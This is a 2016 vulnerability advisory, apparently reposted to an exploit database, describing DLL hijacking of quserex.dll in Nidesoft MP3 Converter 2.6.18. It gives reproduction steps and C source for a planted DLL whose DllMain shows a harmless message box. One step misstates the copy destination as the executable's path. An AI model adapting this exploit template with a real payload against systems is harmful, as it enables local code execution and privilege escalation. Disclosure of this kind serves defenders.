###########################

# Nidesoft MP3 Converter 2.6.18 DLL Hijacking Vulnerability

###########################

=====================================================
[#] Exploit Title : Nidesoft MP3 Converter 2.6.18 - DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-22
[#] Affected Product(s): Nidesoft MP3 Converter v2.6.18 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================


[#] Product & Service Introduction:
===================================
Nidesoft MP3 Converter is a professional tool for MP3 conversion, which could convert video files to MP3 music and many other audio formats. 
It could also convert MP3 to other music such as MP3 to WAV, MP3 to AAC, OGG, RA, etc.. 
So you could put the video and audio files to iPod, PSP, Zune,MP4 players, etc..
Actually, this MP3 Converter works as Total Video to Music Converter and Audio Converter.

(Copy of the Vendor Homepage: http://www.nidesoft.com/ )


[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official Nidesoft MP3 Converter v2.6.18 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
           [+] Nidesoft MP3 Converter

Vulnerable Version(s):
           [+] v2.6.18

Vulnerable Libraries:
           [+] quserex.dll


[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:\Program Files\Nidesoft studio\Nidesoft MP3 Converter 2\VideoConverter.exe
3. Launch VideoConverter.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr  
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


                             Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-12-27]

###########################